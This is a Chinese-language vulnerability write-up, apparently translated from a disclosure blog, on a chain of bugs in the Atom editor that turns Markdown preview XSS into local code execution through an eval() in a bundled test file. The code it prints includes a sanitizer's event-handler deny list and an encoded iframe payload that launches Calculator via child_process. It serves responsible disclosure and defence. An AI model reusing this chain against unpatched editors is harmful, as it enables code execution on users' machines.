前不久,我研究了一下GitHub的文本编辑器(Atom),并且在Atom中找到了好几个安全。经过了一段时间的分析和研究之后我发现,这些漏洞将允许攻击者在目标用户的设备上实现远程代码执行。

1.png

我发现了这些漏洞之后,便立刻通过HackerOne将漏洞上报给了Atom,相关问题目前已经在2017年10月12日发布的Atom v1.21.1中成功修复。如果各位同学想深入研究或者复现漏洞的话,可以从【这里】获取GitHub提供的旧版本代码。

Web端的安全问题传染给了桌面端App

Atom是一款基于跨平台框架Electron(基于JavaScript、HTML和CSS)开发的文本编辑器,而Electron是一种用来开发桌面应用的工具。

但是,这种框架却将自身存在的Web端安全缺陷传染给了桌面端应用,即跨站脚本漏洞(XSS)。这种应用程序是通过JavaScript实现的,如果其中存在XSS漏洞,那么就有可能导致攻击者实现任意代码执行。

当然了,我们现在也有很多方法来缓解Electron中的XSS所带来的影响,但如果解决方案部署不当,那么攻击者仍然可以轻松实现攻击。

通过CSP来对付XSS

在正式开始介绍漏洞之前,先了解一下GitHub是如何解决这些XSS问题的。你没猜错,GitHub使用的就是内容安全策略(CSP)。请大家打开Atom的index.html文件,然后你就会看到如下所示的部署策略:

<!DOCTYPE html> <html>   <head>      <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;">      <script src="index.js"></script>   </head>   <body tabindex="-1"></body> </html>

注意其中的script-src ‘self’ ‘unsafe-eval’,它允许运行同源的JavaScript代码以及使用eval()构建的代码,但是禁止内联JavaScript运行。

也就是说,在下面的例子中,只有“index.js”里面的JavaScript代码可以被执行,而alert(1)无法运行,因为它属于内联JavaScript:

<!DOCTYPE html> <html>   <head>      <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;">   </head>   <!-- Following line will be executed since it is JS embedded from thesame origin -->   <script src="index.js"></script>   <!-- Following line will not be executed since it is inlineJavaScript -->   <script>alert(1)</script> </html>

Atom如何解析Markdown文件

如果你面对的是包含解析器或者预览功能的软件,我建议你先去研究一下组成这些软件的第三方组件。一般来说,软件的解析库使用的都是第三方组件,而软件在部署这些组件的时候很有可能会引入新的安全问题。因为组件的开发者跟使用者可能想不到一起去,比如说,开发者默认会认为程序提供给组件的肯定是安全的数据,而组件的使用者可能会认为组件会帮他们对不安全的数据进行过滤,这下可就麻烦了。

那么接下来,我首先要跟大家分析一下Atom是如何解析Markdown文件的,相关代码可以在GitHub的atom/markdown-preview中找到。

通过分析发现,Markdown解析器貌似还可以解析HTML文件:

2.png

于是我便尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略可以防止JavaScript代码运行,但我现在只想弄清楚代码库是否能够进行最基本的数据过滤。而事实证明,它可以。如下图所示,我们注入的script语句并没有显示在DOM之中:

3.png

搜索了相关信息之后,我发现这种功能(Markdown解析任意HTML文档)实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式,即一种自定义的数据过滤功能,相关代码如下:

 

虽然这种数据过滤功能很弱,但我们依然不能使用各种on-listener来实现绕过,因为这样可能会违反CSP,并导致恶意Payload无法运行。

但是,我们可以尝试注入其他类型的HTML Payload,请大家仔细看刚才那张截图:

4.png

很明显,Atom的运行使用的是file:// 协议,如果我们可以创建一个恶意HTML文件并将其嵌入到本地文件中,那该文件是否会被视作是Electron本地文件(符合同源策略)所提供的呢?而此时我们的JavaScript代码有可能将会被执行。

于是我在Home目录中创建了一个名叫hacked.html的文件,文件内容如下:

sanitize = (html) ->            o = cheerio.load(html)
           o('script').remove()
           attributesToRemove = [
             'onabort'              'onblur'              'onchange'              'onclick'              'ondbclick'              'onerror'              'onfocus'              'onkeydown'              'onkeypress'              'onkeyup'              'onload'              'onmousedown'              'onmousemove'              'onmouseover'              'onmouseout'              'onmouseup'              'onreset'              'onresize'              'onscroll'              'onselect'              'onsubmit'              'onunload'            ]
           o('*').removeAttr(attribute) for attribute inattributesToRemove
           o.html()
<script>
   alert(1);
</script> 

接下来,我只需要在Markdown文档中使用<iframe>即可成功触发JavaScript:

5.png

结合本地DOM XSS

我现在还无法执行任意JavaScript代码,因为这里还有一个问题:利用这个漏洞需要用户与恶意文档进行交互:

1.      用户要主动打开恶意Markdown文档;

2.      用户要开启Markdown文档的预览视图;

3.      恶意Markdown文档还需要另一个包含有恶意JavaScript代码的本地HTML文件;

在真实的攻击场景中,上述条件就很难满足了。但是,如果我们能找到某个包含DOM XSS的本地文件,那就简单多了,而且更适用于真实的攻击活动。

所以,我打算对Atom Bundle中的HTML文件进行分析。幸运的是,我使用的是macOS系统,所以我可以直接在/Applications/Atom.app/Contents目录中查看到Atom bundle文件:

6.png

快速搜索之后,我在bundle中找到了如下的HTML文件:

➜  Contents find . -iname”*.html”

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html

./Resources/app/apm/node_modules/clone/test-apart-ctx.html

./Resources/app/apm/node_modules/clone/test.html

./Resources/app/apm/node_modules/colors/example.html

./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html

./Resources/app/apm/node_modules/jsbn/example.html

接下来,你可以选择对HTML文件进行静态分析或手动分析。由于文件不多,所以我选择直接进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html成功吸引了我的注意:


<html>

  <head>

   <meta charset="utf-8">

   <title>Clone Test-Suite (Browser)</title>

 </head>

 <body>

   <script>

     var data = document.location.search.substr(1).split('&');

     try {

       ctx = parent[data[0]];

       eval(decodeURIComponent(data[1]));

       window.results = results;

     } catch(e) {

       var extra = '';

       if (e.name == 'SecurityError')

         extra = 'This test suite needs to be run on an http server.';

       alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);

       throw e;

     }

   </script>

 </body>

</html>

上述代码在document.location.search调用了eval(),而Atom的内容安全策略是允许使用eval()的,所以我们只需要使用如下所示的语句就能够触发弹窗:

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,我们还可以使用下面这种Markdown文档就能够执行任意JavaScript代码:

<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>

7.png

执行任意本地代码

正如之前所说的,如果你想在一个Electron应用中执行恶意JavaScript代码,也就意味着你需要实现本地代码执行。最简单的实现方法就是访问window.top对象,然后使用require函数(NodeJS)来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序(Calculator.app):


<scripttype="text/javascript">

window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});

</script>

在对上述的漏洞利用代码进行URL编码后得到的代码如下:

<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>

当目标用户打开恶意Markdown文档之后,Calculator.app将会被运行:

8.png

实现远程攻击

虽然上述方法可以成功触发漏洞,但我们仍然需要目标用户手动打开恶意Markdown文档。但需要注意的是,这可不是Atom唯一能够呈现Markdown文档内容的地方。

使用grep命令搜索了Atom的源码之后,我又发现了一个能够解析Markdown文件的模块,即atom/settings-view。实际上,这个模块所采用的数据清洗策略也同样存在安全问题,代码如下:


const ATTRIBUTES_TO_REMOVE = [

 'onabort',

 'onblur',

 'onchange',

 'onclick',

 'ondbclick',

 'onerror',

 'onfocus',

 'onkeydown',

 'onkeypress',

 'onkeyup',

 'onload',

 'onmousedown',

 'onmousemove',

 'onmouseover',

 'onmouseout',

 'onmouseup',

 'onreset',

 'onresize',

 'onscroll',

 'onselect',

 'onsubmit',

 'onunload'

]

 

function sanitize (html) {

 const temporaryContainer = document.createElement('div')

 temporaryContainer.innerHTML = html

 

  for(const script of temporaryContainer.querySelectorAll('script')) {

   script.remove()

  }

 

  for(const element of temporaryContainer.querySelectorAll('*')) {

   for (const attribute of ATTRIBUTES_TO_REMOVE) {

     element.removeAttribute(attribute)

    }

  }

 

  for(const checkbox oftemporaryContainer.querySelectorAll('input[type="checkbox"]')) {

    checkbox.setAttribute('disabled',true)

  }

 

 return temporaryContainer.innerHTML

}

Atom还支持使用第三方Package,这些Package基本上都是社区人员开发和提供的,具体可参考atom.io/packages。关键之处在于,这些Package可以通过Markdown格式来定义README文档,而README文档的内容将会在Atom设置窗口中呈现给用户。

因此,恶意攻击者只需要已各种包名注册大量的恶意Package(利用社工技术,包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需安装Package),那么嵌入在README文档中的恶意代码就能够被执行。

9.png

如何修复这些安全漏洞

为了修复这些安全问题,我们跟GitHub的开发人员进行了交流,并最终设计出了如下所示的漏洞缓解方案:

1.      删除bundle中多余的HTML文件

2.      使用DOMPurify对Markdown文档的内容进行数据清洗

虽然这种解决方案只是暂时的,但对于目前来讲也已经足够了。与此同时,GitHub也准备引入一种规则更加严格的Markdown解析器,但是这很有可能会对很多现有用户的工作流程产生影响。

 * 参考来源:statuscode,FB小编Alpha_h4ck编译